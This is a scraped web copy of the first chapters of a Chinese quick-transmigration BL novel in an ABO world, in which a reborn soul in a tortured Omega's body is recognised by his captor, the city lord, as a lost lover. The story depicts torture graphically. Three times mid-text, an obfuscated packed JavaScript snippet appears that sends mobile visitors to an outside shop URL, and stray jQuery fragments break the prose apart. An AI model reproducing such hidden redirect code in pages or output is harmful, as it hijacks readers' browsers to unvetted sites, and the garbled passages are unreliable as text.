《薄先生与他的小狗[快穿]》 1. 放我去死,谢谢 好痛——!!! 意识恢复的一瞬间,碎骨剥皮般的痛便狠狠刺穿了白棠的脑仁。 慢一拍恢复的嗅觉,更是将他野蛮地摁进恶臭的沼泽。 更可怕的是,白棠觉得自己分明是睁开了眼睛的。可目之所及,是不见一丝光亮的漆黑。 怎么会有这么黑的地方?该不会……是自己瞎了?! 发生什么事了?自己这是在哪儿? 好痛!好臭!好可怕! ……薄先生!薄先生救我! [新手保护程序已启动。持续时长:1小时。] ……什么东西?! 白棠吓了一跳。 不是文字,不是声音,像是……某种认知,凭空出现在脑子里? 而伴着这条信息的出现,可怕的剧痛竟然瞬间消失,令人窒息的恶臭也闻不到了。 白棠正惊异,一道吊儿郎当的大叔音蓦然响起: 【哟,终于进来了?还以为你要魂飞魄散了。】 谁?!谁在说话? 进来?进哪儿? 魂飞魄散又是怎么回事儿? 白棠只是冒出这些念头,对方却好像知道他在想什么一样,颇没正形道:【小朋友,你是否有很多小问号?没关系,啊,新手上路都是一脸懵逼。我把相关信息发给你,你马上就明白了。】 话音未落,海量信息便如与生俱来的记忆般融入认知。白棠瞬间明白了自己眼下的状况—— 他、被、绑、架、了! 不过绑架他的,不是犯罪分子,而是自称掌管三千世界的,神。 “神”说,他在原世界已经死了。 死了?!什么时候死的?怎么死的?他怎么不知道?! 顺着这缕思绪,白棠突然发现,自己的记忆一片迷雾。除了自己叫白棠,刚好20岁,似乎是个从小娇生惯养、没吃过苦的富家子,其他都很模糊。 八成觉得他失忆好忽悠,“神”竟然说什么,检测到他的亡魂对小黑屋有“非比寻常”的执念,所以将他送到这个奇葩的ABO世界,借用Omega“苏锦程”之身,深入体验这间正宗豪华小黑屋。希望体验过后,他能放下执念,转世投胎,开启一段新的人生。 不er,他对小黑屋有执念?他怎么不知道? 还帮他放下执念,开启新人生?这年头,绑架的说辞都这么清新脱俗的吗? 说得天花乱坠,倒是看看自己干的好事! 不说别的,就说给他套的这副新壳子,嗯?简直极品中的极品—— 腺体被挖,多根肋骨骨折,下半身瘫痪,大小便失禁,手脚指甲全被拔掉,牙也少了好几颗。全身上下除了脸,没一块好皮,多处溃烂流脓,伤可见骨。 他是杀过人、放过火,还是毁灭过世界啊,把他当十恶不赦的反派整? 都把他整这么惨了,“神”竟然还摆着一副挟恩图报的嘴脸,说小黑屋的体验不是无偿的,需要他完成指定任务——净化目标人物的暴虐值。 目标人物是谁呢? 哎嘿,恭喜你,猜对了,正是把苏锦程关进小黑屋、虐待至此的恶魔——城主,谢珏。 那谢珏为什么这么对苏锦程呢? 答案是,苏锦程给谢珏戴了绿帽子。 白棠觉得不可理喻。不就是被戴绿帽子嘛,又不是被灭满门,犯得着把人虐成这样? 四个多月啊,天天变着花儿地往死里虐,还专门安排顶级医疗团队给原主吊命、不让人死,愣是把原主虐到魂魄离体。 现在原主跑了,他个无辜路人莫名其妙成了替罪羊! “神”固然可恶,但谢珏才是万恶之源吧! 让他去攻略这么个变态的主儿,跟让奔波儿灞去干掉唐僧师徒有什么区别?! 人家奔波儿灞好歹还有点儿微末法力,他呢?一条阴暗粪坑里翻滚的烂蛆! 白棠只觉气血翻涌,脑瓜子嗡嗡的。 那个说话没正形的大叔,也就是他的“监护系统”2333,还一直在他脑子里说些有的没的,打从开口,嘴巴就没停: 【往后遇到什么问题呢,就找我。】 【但是我不是随时在啊。毕竟,身为最优秀的资深系统,叔叔我手里的宿主多如牛毛,不是每一个都照顾得来。】 【何况你已经是个成年人了,不是没断奶的小婴儿,遇到问题要学会自己解决。不是谁都像你男……】 微妙的卡顿后,2333不显任何异样地继续道:【妈妈一样,把你当个小宝宝,什么事都一手操办。叔叔是个正常人,没那种特殊癖好。】 男妈妈?谁要男妈妈?谁稀罕大叔当男妈妈?神经。 这人很了解他吗,就说他是妈宝男?你才妈宝男! 白棠在心里狠狠翻了个白眼儿,压着火气,一副死人腔地开口:【放我去死,谢谢。】 2333故作夸张:【死?为什么要去死啊?这不是你最喜欢的小黑屋吗?好不容易进来的,你得好好享受啊!】 白棠一下就炸了:【享受个屁啊!我是精神病吗我喜欢小黑屋?!】 白棠原本是憋了一肚子话要说的,可只嚷嚷完这两句,就没声了。 他被自己吓到了。 自己怎么会这么说话?音调一下子拔高到刺耳,像个歇斯底里的疯子。 他没想这样的啊?虽然不记得生前事,可他感觉,自己应该是个很……软萌的人啊? 现在这副模样,让他对自己感到陌生,甚至……害怕。 怎么回事?怎么会这样呢? ……一定是因为他遭遇的事情太炸裂了。 对!一定是这样! 白棠正凌乱,忽听2333叹气,说:【第三次。】 白棠一愣:【什么第三次?】 2333无奈道:【类似的情况,这已经是第三次。】 【前两个世界,你也是一进来就嚷嚷‘放我离开’、‘我不喜欢小黑屋’,又是发火又是哭的,那个可怜劲儿哦。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846768|211750||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 【叔叔我心软,帮你痛快儿死了。结果你呢,一变成亡魂,就不停念叨‘我喜欢小黑屋’、‘让我去小黑屋’,又被送回我这儿。】 为了证明自己所言非虚,2333还给白棠播放了前两次的对话录音,以及他变成亡魂时的碎碎念: “小黑屋……我喜欢小黑屋……让我去小黑屋……小黑屋……” 虚弱,病态,染着哭腔,充满渴盼。一遍又一遍,像死不瞑目的执念。 白棠傻眼。 【听叔叔劝,老实留这儿,别折腾了,啊。】2333说,【你那魂儿啊,脆弱得很。再折腾,就要魂飞魄散了。】 【那就让我魂飞魄散啊!】 白棠稍一激动,声音便无法自控地拔高到刺耳。 2333似是见怪不怪,没表现出任何的反感,只说:【那可不行。你要是在我手里魂飞魄散了,叔叔我余生怕是不得安宁哦。】 白棠再次凄厉嘶喊:【那你把我绑来这里,看我在这儿活受罪,就能安宁了?!】 他忍不住皱眉。怎么回事?他明明在努力控制自己的,可怎么……越控制,越糟糕? 焦虑迅速膨胀成巨大的恐慌,白棠崩溃大哭:【对不起!对不起!我不想这样的……我不想的!】 他对自己的行为感到震惊。 他感觉这个震惊的自己,像是分裂出来的一缕魂魄,飘在半空,看崩溃大哭的另一个自己。 不解、厌恶、麻木、茫然。 脑子里很吵,像古旧收音机信号不良时发出的电流音,然后在某一瞬间,杂音彻底消失,意识也随之消失…… 2333看着宿主监控面板上亮起的红色警报,暗啧了一声麻烦,清了清烟嗓,放软声音,哄小婴儿一样嚎啕大哭的白棠:【没事儿没事儿啊!叔叔又没生你的气。不哭啊,乖。】 哄了好几分钟,不见丝毫成效,2333抱着死马当活马医的心态,从当前世界的监控录像中咔咔截了几张人物特写,一股脑地撒给白棠:【小朋友,看看这个?】 所有特写对象,都是同一人,淡金色的背头,深紫色的眸,搭配各式各样的西装三件套。 或是高居首座,睥睨众生;或是昂首阔步,两旁之人无不俯首。 上位者气场十足。 尤其是那双凤眼,内压外扬,开阔且长,完美得如同工笔描绘。 鹤立鸡群的身高和君临天下的气场,让他在看人视物时,总是眼帘微垂,一副居高临下之姿。像高高在上、不可触及的神。 仿佛世间万物,没什么能入得了他的眼,扰动得了他的心神。 让人不禁生出,想要将自己的身影,刻入那双眼眸的……妄念。 白棠立即止住哭声,定定盯了片刻,梦呓似的唤:【薄先生!】 那欣喜的模样,活像被寄养的小狗,看到了来领它回家的主人。 【薄先生?】2333来了兴致。 他给白棠看的,分明是任务目标,谢珏。 2. 小狗 柏城行政总署。 上午连轴转了三场会,临近一点,谢珏终于回到自己的办公室,得以片刻喘息。 半小时后,还有四场城务要会等着他。 多事之秋。 他扯了扯领带,窝进真皮座椅,后脑靠上椅背,不轻不重地按捏鼻梁,眉心刻着明显的烦躁。 从前的时候,他分明很享受这种危机四伏的紧张感,喜欢玩儿逆风翻盘、绝地反杀。 现在回想起来,难说不是孔雀开屏。 因为有个总是在他耳畔聒噪不停的小笨蛋。为他提心吊胆、为他摇旗呐喊。 那时他总是嫌他吵、嫌他笨、嫌他爱哭。现在…… 唇角挑起一抹自嘲弧度,谢珏拿过手机,准备点开相册。 结果率先撞入眼帘的,是一大堆未接来电和未读信息。 他在一长串的列表中,一眼捕捉到了城堡管家,钟叔。 钟叔处事沉稳,绝不会为城堡琐事在工作时间联系他。如果联系,只能事关苏锦程那条烂蛆。 谢珏调出城堡监控,不出意外的,在医疗室看到了目标。 破破烂烂的Omega被固定在手术台上,面无血色,目光空洞。 但,神色安宁。 Alpha的眉心骤然蹙起。 他立刻回拨给钟叔,冷声道:“让秦汉接电话。” 电话那头静了两秒,才响起钟叔诧异的声音:“城主,‘烂蛆’突发恶疾,生命垂危,秦医生正在医疗室全力救治呢。” 谢珏说:“我知道。” 钟叔不敢迟疑,急忙敲开医疗室的门,把秦汉叫出来。 “城主?”秦汉一头雾水。 “你给他打镇静剂了?”谢珏语气阴沉。 秦汉愈发摸不着头脑:“没有啊。” “那是麻醉?”谢珏又问。 “也没有!”秦汉倍感冤枉,“您特意嘱咐过的事儿,我哪儿敢违背呢?” “那他怎么躺得那么舒坦?”谢珏近乎咬牙切齿。 秦汉终于明白过来城主的意思,急忙解释:“是精神过载造成的解离症状!” 意识到自己用词过于专业,秦汉正准备补充说明一下什么叫“解离”,却听城主冷声道:“给他打那个药。” 秦汉迟疑:“城主,‘烂蛆’的病因尚未查明。这种情况下用那个药,我怕……” “怕他会死?”谢珏问。 秦汉不敢出声。 电话那头的Alpha却笑了起来:“老秦,你还是没懂我的意思。我不是要他活,而是要他万分痛苦地活。一分一秒,都不能好过。如果他病到能够以解离的方式逃避痛苦——” 短暂的停顿后,谢珏吐出三个冰冷的字:“让他死。” 秦汉舔了舔唇,涩声应:“是,城主,我明白了。” 谢珏挂断电话,从监控中看着注射器内的蓝色药液被缓缓推入,神色安宁的Omega再次面目狰狞,破碎的躯体在剧痛的折磨下犹如扔进油锅里的活鱼般剧烈扭动。 他关掉手机屏幕,靠回椅背,后脑枕上去,微皱的眉心并未就此舒展。 甚至纹路愈深。 缓缓深呼吸几次,压住心底翻涌的躁郁,谢珏这才重又拿起手机,继续先前未完成的事——打开手机相册。 解锁,点进私人珍藏。 里边只有一张照片。 准确来讲,是一张AI捏脸图片。 乍一看跟苏锦程很像,可仔细看,又哪儿都不像。 至少发色和瞳色就完全不同。苏锦程是银发蓝瞳,而图片里的人,是黑发黑瞳。 气质更是大相径庭。苏锦程很“媚”,而图片里的人很“纯”。 那种“纯”让他看起来十分年少,似乎只有十六七岁,甚至更小。 他偏着脸,对着“镜头”笑得灿烂。像生活在象牙塔里的小王子,不曾沾染人间愁苦。 谢珏凝视着图中人,指腹抚过少年面颊,眼中寒潭化作春水,整张脸都漾开温柔涟漪。 可是慢慢的,温柔的湖面出现裂隙,丝丝缕缕的哀伤蔓延出来,泛滥的海藻般,覆盖了全部水面。 化作一片嗜血的红。 - 晚上七点,结束一天工作的城主大人回到城堡。 钟叔上前接过外套,询问城主是否立刻开饭,城主说:“先去刑房。” 钟叔迟疑两秒,关心道:“郑秘书说,您午饭还没吃……” 城主瞧他一眼,“所以才要先去刑房。” 钟叔:“……” 原以为是工作上的烦心事儿,结果都是因为那个Omega。 那Omega好过一秒,城主就能气上好几天,饭都不吃。 怎么就这么恨?天神般的人,偏对那么个柔弱的Omega,残忍得像个恶魔。 虽然理解不了,但钟叔坚信,错一定在苏锦程,而不是他们城主。 恐怕,红杏出墙只是表面,背地里还发生过其他他们不知道的事。 钟叔恭顺垂首:“我这就去安排。” 城堡众人接到指令,立马训练有素地行动起来—— 安保小队穿上防护服、戴上防毒面具,进入粪坑一样的地下室,打开高压水枪,将满身污秽的“烂蛆”冲洗干净,而后送去医疗室; 医疗小队消毒清创,涂止血凝胶,缠纱布,喷臭味抑制剂……当然,全程不打麻醉。 最后,给血猴子似的Omega套上一件干净的白色长衫。 受刑归受刑,绝不能脏了城主的眼。 - 安保小队将人抬进刑房,放下担架。一个侧掀,痛苦蜷缩着的Omega便翻滚落地。 像一摊摔在地上的烂泥。 银发白衣,或许,该用“像一团摔碎的雪”之类的形容,可他那副模样,实在难以让人联想到唯美的“碎雪”。 怎么看,都是烂泥。 早已瘫痪的双腿,在滚落过程中搅在一处,落地后呈现出一种诡异的扭曲。 宽大的白色长衫,套在他残破瘦削的身体上,活像一张白布盖着一把骨头。 还在滴水的半长发丝,凌乱地黏在他的脸上。发丝间透出极其虚弱的破损微吟,几乎淹没在众人的呼吸声里。 威严华贵的城主大人坐在靠墙的沙发椅里,没给半个眼神儿。 他在检查手中的新鞭,指尖慢条斯理地抚过鞭身——牛筋为芯、剑麻编就,表面粗糙,毛刺密集,专破皮肉却不伤筋骨。 教训贱人的神器。 他拎着鞭子,起身。红底的黑色皮鞋,在湿冷的水泥地上,踏出令人胆寒的声响。 许是感觉到危险迫近,奄奄一息的Omega拼尽全力地挣扎起来。 当然,在旁人眼中,那种“拼尽全力的挣扎”,更像是“蠕动”。 他许是想爬走,躲开那即将落下的嗜血长鞭。可那双孱弱手臂,根本带不动那副瘦骨嶙峋、却重若千钧的残躯。 哪怕被扒了指甲的双手,在粗糙的水泥地上抠出血,也没能带着那副残躯移动分毫。 两旁众人纷纷移开视线。 虽说,大家都不怎么喜欢苏锦程这朵心机白莲,当初城主把人养在身边,城堡上下都非常的不理解。但看着一个“人”变成这副凄惨模样,任谁都会心生恻隐。 令人胆寒的脚步声停止。 然而,长鞭挥舞的破空声,和抽打在皮肉上的闷响,却迟迟没有到来。 众人遂又好奇地看回去,而后,目瞪口呆。 这Omega是真的想死吗?竟然敢用他那满是血污的手,抓城主的脚踝?!城主对他厌恶到了什么程度,他是真·切身体会到的吧?

35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846769|211750||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 咦?等等!这Omega之前,不是一见城主就吓得要死要活,拼命爬远。今儿怎么自己往上贴呢? 不对不对!最可疑的是,城主怎么会被这Omega抓住???被抓住后,为什么不躲开??? 有、奸、情! 谢珏也很想知道自己为什么任由这条烂蛆抓住自己。 面对Omega慢镜头一样伸过来的手,他完全可以轻易躲开。他甚至应该一脚踢开!又或者将Omega的手狠狠踩在脚下,用力碾上几碾。又或者,命人将院子里的狗牵过来,将Omega那只犯贱的手,生生咬断。 可自己为什么什么都没做? 因为某种奇妙的预感。 会应验吗? 无法抑制的期待。身体都在颤抖。 不,不要期待。期待落空的滋味,你已尝尽。 如果不会应验? 那就杀了他。 已经,厌了。 尽管内心如此劝说自己,低垂的深紫色眼瞳深处,还是迸发出无法抑制的期待。 近乎疯狂。 满足我,让我的期待应验…… 满足我,让我的期待应验! 伴着Omega费力仰起的脸,冰川压顶的心脏迅速化作沸腾的岩浆。在那片震耳欲聋的嘈杂中,他清楚地读到了三个字。 从Omega发颤的唇间,从他盛满喜悦和依恋的冰蓝色眸中。 “薄……先……生……” 虚弱至极,轻得能被Omega微弱的呼吸吹走。 全场无人听见。 除了谢珏。 他双瞳震颤,猛地蹲下身去,一把箍住Omega细瘦的脖颈,迫使他将脸仰得更高。 “你叫我什么?!”Alpha的面部肌肉剧烈抽搐,以至于有些狰狞。 可是被箍着脖颈的Omega没有半分惧色。闪着泪光的冰蓝色瞳中,全是久别重逢、得偿所愿的欣喜。 “薄……先……生……” 他的声音破碎到近乎于无,就连口型也很模糊。但对谢珏而言,足够了。 “你是谁?!”谢珏箍着Omega的脖子,将人更拉近几分。 凌厉的双眼似是恨不能穿透这副破烂的、令他恨之入骨的皮囊,看穿他的灵魂。 “小……狗。我是你……的……小……狗。”Omega一瞬不瞬地凝视着他,脸上满是幸福到痴傻的笑。 谢珏瞳孔地震,近乎石化。 不待他进一步反应,Omega已似燃尽最后的生命力,就那样幸福地微笑着,缓缓闭上了眼睛。 “小……!”谢珏失声喊出一个字,又猛地收声。 唯余抿死的薄唇狠狠发颤。 他扔掉另一只手中的刑鞭,轻轻托住Omega瘦骨嶙峋的胸膛,仿佛托着什么稀世瓷器,将人慢慢地、极轻地,放回地面。 目睹到这一幕的众人,下巴几乎掉到地上。 然而震惊他们的还不止于此—— “准备医疗室。”城主哑声,甚至能听出一丝哽咽,“我要亲自操刀。” - 秦汉带着医疗小队做术前准备,谢珏独自走进光线昏暗的走廊。 没有走出太远,便疲惫似的转身倚上墙壁。 他低着头靠在那儿,像一尊凝固了的石像。 半晌,他终于动起来——手插进裤袋,去摸烟盒和打火机。 手拿出来的时候,已经抖得不成样子。 他捏着烟盒甩烟,甩了四五下,才终于甩出一支。用颤抖的指尖夹着,塞进同样颤抖的唇缝。打火机按了两次,才蹭出火来。 他在唇鼻吐出的迷蒙烟雾中,眯着眼,看自己抖到停不下来的手。 片刻后,倏地挑唇一笑。 小狗。 终于,找过来了吗? 3. 什么都不记得。 城主是无所不能的神。城堡众人一直如此认为。 这不,文能提笔安天下、武能上马定乾坤的城主大人,又给他们展示了一项意料之外的神技——医术。 尤其是外科手术,是需要花费大量时间练手的,不然会技艺生疏,甚至临阵手抖。 可城主执刀穿线之快和稳,连职业医生秦汉看了,都要自愧不如。 秦汉怀疑自己要失业。 “说说你的看法。”谢珏在水池边冲洗满是血污碎肉的手,口吻似是随意。 可秦汉明白,他的回答,随意不了一点儿。 Omega的腐肉脓疮太多,几乎被剔成了骨架——极考验主刀的心理承受能力。 想到城主对Omega那种异乎寻常的关切,很难想象,城主亲手将把Omega的肉,一片片剔下来时,是什么心情。 当时手有多稳,现在就有多抖。 抖得他都不忍心看。 虽然不清楚城主为什么对苏锦程态度大变,但,城主的态度,就是他回答的角度。 “没救了”显然是不能说滴,但换成“尚有一线生机”,是不是就顺耳很多? 至于如何才能捕获那“一线生机”,聪明的员工,会懂得如何将难题丢给老板。 秦汉飞速打了腹稿,瞄着城主侧脸,谨慎开口道:“看起来最惨不忍睹的皮肉伤,其实是最容易解决的。以现在的医疗手段,加上您神乎其技的医术,假以时日,必能痊愈。” 城主眉目略显柔和,显然被顺到了毛。 可惜,秦汉榨干脑细胞,能给出的好消息,也就这一条。 他舔了舔嘴唇,略去其他,直击核心:“真正麻烦的,是腺体缺失引发的内分泌紊乱,及由此引发的各种并发症……” 秦汉原本还想提一嘴Omega的精神问题,但瞄见城主搓洗手指的速度有微妙变化,急忙将话咽了回去,换上一副轻松向上的语调:“不过,只要能找到合适的腺体进行移植,一切问题,都将迎刃而解!” 城主没有接话。只有水龙头的水,还在哗哗流淌。 秦汉感觉那里边流出的不是水,而是千年寒冰,超强的冷气将整个空间都冻结,叫他忍不住想逃。 他僵着脊背戳在哪儿,眼观鼻、鼻观口,大气不敢喘一口。 直到肌肉紧绷到快要抽筋,城主终于关掉水龙头,问:“他这样,扛得住腺体移植的排异反应?” 秦汉暗暗叫苦。 先聊点美好的可能嘛,干嘛上来就戳破幻象呢。 可城主问了,他只能硬着头皮,说出那个唯一的、但几乎不可能实现的救治方案:“只要找到的腺体,与他原来的一样——与您,是100%匹配。” “有您的信息素进行引导、安抚,不出一年,必能恢复如初!” 城主停下擦手的动作,伫立如雕像。如果不是腮部肌肉还在不住抽动。 秦汉知道,他狠狠戳了城主的心窝子。 当初城主要挖苏锦程的腺体,城堡上下都拦着——那可是与城主100%匹配的Omega,天命之人。 城主却说,就因为是100%匹配,更要挖。 众人又劝,非挖不可的话,好歹把挖下来的腺体留着,以备万一。 可城主是怎么做的? 当着苏锦程的面,把挖下来的腺体丢在地上,用鞋底,慢慢地、狠狠地—— 碾碎。 喂狗。 没人理解城主为什么要做那么绝。 但现在看,当初扔出去的回旋镖,终是狠狠扎中了城主自己。 100%匹配,虽不是唯一,却也是百万中无一。哪里那么好寻。 “要是找不到合适的腺体,依你看,他还能活多久?”谢珏涩声。 秦汉喉咙里“咕噜”一声,不敢扯谎。可实话又实在残忍。 深呼吸后,他终于答道:“怕是……不足一月。” - 白棠难受醒了。 酸麻、胀痛、疲累……很多不舒服的感觉混杂在一起,哪儿哪儿都不舒服。想翻身,想把四肢重新摆一摆,可是身体又重得要死,完全不听使唤。 入眼是奢华到梦幻的星空吊顶。不同于真实星空,吊顶的背景是白金色调,“星星”散发出的,也是温暖柔和的橙色光。 这环境让他倍感熟悉。 是哪儿呢? 啊,不就是自己的卧房。 自己这是怎么了?怎么会这么难受…… 谁,谁能来看看他…… 白棠向着房门方向,转了下自己目前唯一能自由驱动的身体部位——眼珠。意料之外,又情理之中的,看到了他最想见到的人。 男人坐在红丝绒面的复古座椅上,衬衫西裤,配西装马甲。笔直高挺的鼻梁上,架着一副金丝眼镜,漂亮迷人的眼眸低垂,玉雕般漂亮的手在平板上不时敲击、划过。 精英、沉稳、禁欲,无可挑剔的脸和身材,以及一双令人沉迷的眼……完全符合白棠对完美男神的一切幻想。 他闭上张开的嘴,痴痴盯着专注工作的男人,不想打扰他。 周身泛起酥酥麻麻的暖流,那股子叫人难受得快要哭出来的不适感,被迅速镇压。 这个人,是能治愈他一切伤痛的灵丹妙药。白棠幸福地想。 男人分明没有抬眼看他,却知道他醒了。艺术品般修长漂亮的手指又在平板上点了两下,便将其放到床头,而后撩起眼帘,倾身靠近白棠,用那把撩人的磁性嗓音,又轻又柔地问:“醒了?” 白棠心脏砰砰乱跳,垂下眼,不敢直视男人,羞涩地小声唤:“薄先生……” 他想问“你怎么过来啦”,可是没能问出口。因为先吐出的三个字,让他意识到,他虚弱得根本发不出声音,就连气声,都很微弱。 自己到底怎么了? 他试着回想,寻找原因,可是脑子昏沉,根本转不动。 “薄先生?”男人尾音上挑,明显是个问句。 白棠满脸的不明所以。 “为什么叫我‘薄先生’?”男人问。 白棠一头雾水:“那我应该叫你什么?” 他很努力地发声了,可话说出来,全是破损的气音。 不过这并不妨碍男人听懂。 他支着下巴,像故意逗弄小朋友的坏心大人:“我姓谢,不姓薄。” 白棠呆滞片刻,问:“你改名字啦?” 男人愣了一下,失笑。 “我跟‘薄先生’,长得很像?” 白棠张着嘴巴,没能答上来。 他盯着谢珏。视线的落点,在他左眼眼尾的那颗红色小痣上,神色困惑、恍惚。 “你……不是薄先生?”白棠隐现惊恐。但很快,他就找到了对方逗弄自己的证据:“那你怎么会在我的房间?” “你的房间?”男人挑眉。 白棠又被问懵了。他转动眼珠,四下打量。 星空吊顶,白金色调的壁纸、家具,拱形落地窗……这不就是他的房间? 如果这不是他的房间,他为什么会躺在这里? 薄先生这是怎么了?为什么要这么坏心地逗弄他? 白棠委屈地噘起嘴巴,像小孩子。 男人眉心微拢,问他:“你知道自己是谁?” 白棠愈发不明所以:“我是白棠啊。” 男人眼皮一抖,全身都震了一下,抿在一处的薄唇微颤,深紫色的眸子柔软得快要化开。 白棠不懂对方为什么这么大反应。 “那你知道,你是怎么来到这儿的?”男人继续问。 白棠觉得这问题好奇怪。什么他怎么来到这儿的,这不是他的卧房吗? 但是,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846770|211750||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 为什么会这么难受?发生什么事了?他确实一点都想不起来。 什么都想不起来。 白棠皱起小脸儿,投去求助似的目光:“薄先生,我好像失忆了……” 男人睁大眼睛:“失忆?” “嗯。”白棠并不慌张,因为薄先生就在他身边。 “那你还记得什么?”男人问。 白棠认真翻了翻自己的脑子,确认是空无一物。 “什么都不记得……”他噘着嘴巴,无意识地撒娇。 “什么都不记得。”男人轻声重复。而后,弯起唇角,眉目舒展,“但,记得薄先生。” “嗯!”白棠跟着笑起来,眼睛亮晶晶的,像眼巴巴盯着主人、期待奖励的小狗。 就在这时,视野上方,有什么东西,突然动了一下。 白棠这才注意到,男人头顶,有一串散着薄烟的灰色数字:56。 白棠惊讶得睁圆眼睛、张开嘴巴。 男人微微眯了下眼,随意似的笑着问:“我头顶有什么?” 白棠说:“薄先生,你靠过来一点。” 男人听话地倾身靠近,那串冒着烟的数字跟着动。并没有因为男人倾身的角度而掉下来。 白棠想伸手去摸,奈何胳膊重得像灌铅,根本不听他的。 薄先生,你头顶有在冒烟的数字哎。 白棠想告诉男人,却发现自己说不出来。 像有什么邪恶的力量在压制他。 他向男人求助:“薄先生,有鬼!” 2333忍无可忍地跳出来:【鬼个屁。是你触碰到规则禁制了。不可以向任何人透露宿主、系统、任务相关。尤其是对任务目标。】 白棠吓了一跳。 谁?!谁在跟他说话?! 下一秒,原本一团混沌的大脑,某个区域突然清明起来。 他想起了自己的宿主身份,系统2333,以及他的任务。 白棠似懂非懂,脑子里一团乱麻。他试图理清,可那些线总是中途断掉。 男人盯着“魂游天外”的白棠,问道:“鬼?” 白棠噘噘嘴巴,跟男人告状:“叔叔不让我说。” 男人眼皮一抽,一字一顿,“叔叔?” 白棠张开嘴巴,想说的话又说不出来了。他气闷地鼓起嘴巴。 男人眼神微暗,手指微蜷,控制自己不去戳白棠两腮的小包子。 他沉思片刻,突然问:“你想从我这里得到什么?” 2333瞬间警铃大作。 可他还没来得及警示白棠,白棠已经给出了答案。 他说:“爱。” “嗯?”男人眉梢轻挑,从鼻腔里发出很轻的一声,魅惑又撩拨,似是情人在耳畔的低语,诱惑着对方吐露更多真心。 白棠盯着他,万分认真道:“我想得到你的爱。全部的爱。” 男人本就温柔的神色愈发柔和,注视白棠的深紫色眼眸,透出灼人的炽热。 “如果得不到,你会怎样?”他问。 白棠垮下小脸,似是马上就要哭出来,委屈巴巴的:“我会死的。” 男人瞳孔微缩。 “有时间限制吗?”他问。 白棠一愣:“啊?” 男人似是有所放松,没再追问这个问题,而是问:“得到之后呢?” 白棠愣愣的,似是不敢相信:“你会给吗?” 男人似被问住,一时没有说话。 白棠像期待主人投喂的小狗,眼巴巴地盯他。 男人笑起来,说:“看你表现。” - 白棠精神不济,没能跟男人说上太多,便又昏昏沉沉睡了过去。 男人在床边守了一会儿,蓦地开口:“二哥,出来聊聊?” 2333虎躯一震。 卧槽?! 4. 白少爷好乖好软! “好奇我怎么知道是你?”男人向后靠上椅背,叠起长腿,唇角微挑。 2333撇嘴:并不。 好吧,确实有那么一点好奇。就一点。 男人挑唇一笑:“除了你,没哪个系统倚老卖老,自称‘叔叔’。” 2333翻了个白眼儿,靠。 “别藏着了,出来聊聊。”音落,男人似是想到什么,“哦,我现在是任务目标,所以我们之间,禁止联系,对吧?” 2333满脸嫌弃:不禁止老子也不想跟你说话。 “小白的任务,是赚取爱意值?这么烂俗?”男人挑眉,似是不太相信。 2333狂笑:让你套!被带沟里了吧? 然而下一秒,男人便否定道:“应该没那么简单。‘神’喜欢烈酒,不喜欢白开水。” 2333奇道:把你的小宝贝塞进苏锦程的身体还不够“烈”? 转念,他又了然,以男人的敏锐,很快就能察觉苏锦程变成了白棠。只要男人确认了白棠的身份,就一定会成全白棠,帮助白棠尽快完成任务。 神确实不喜欢这样的“白开水”。 几乎与2333的思维同步,男人挑眉道:“所以,我不能让他的任务完成得太容易?” 2333再次狂笑:什么叫差之毫厘,谬以千里! 不过,2333瞧着男人头顶缓慢增长,这会儿已经从56涨到67的灰色数字,心道:就算你猜中了,也没办法帮你的小宝贝顺利完成任务的。 比起相信你的小宝贝不会骗你,你更应该相信神的恶趣味。 男人也没再说话,眼帘半垂,眉心微蹙,不知在想什么。 片刻后,他挑起新的话题:“小白的经历,宿主资料里应该都有记载。虽然他现在都忘了,可是……” 可是什么,男人没再说下去。凝视白棠的深紫色眸子中,渗出难以言喻的懊悔和悲伤。 2333能猜到“可是”之后的内容。想来是男人最不愿发生的那件事。 他不说,是怕一语成谶。 可是,你最不愿发生的事,已经发生了。2333心道。 “麻烦你多费心。”谢珏诚恳道。 弄得2333怪不习惯的。 尽给他些烫手山芋。烦死了。 - 城主没去上班。 在那间此前从未打开过的梦幻房间里,亲自照顾那个曾被他称之为“烂蛆”的Omega。不眠不休。 聚集在餐厅吃早餐的城堡众人,则因钟叔刚刚公布的一条重要事项炸开了锅: “往后不能再叫‘烂蛆’,要改称‘白少爷’?!” “为什么是‘白’少爷啊?不应该是‘苏’少爷吗?” 钟叔神哉哉地品茶,敛目不语。 秦汉瞧了钟叔一眼,语出惊人:“因为苏锦程已经死了。现在在那具身体里的,是‘白少爷’……” 顿了顿,他加上一个字:“吧。” 众人齐齐石化。 “您的意思是……借尸还魂?!” 秦汉未答,而是问几个轮值看守的小护士:“你们觉得,这个白少爷,跟以前的苏锦程,一样吗?” 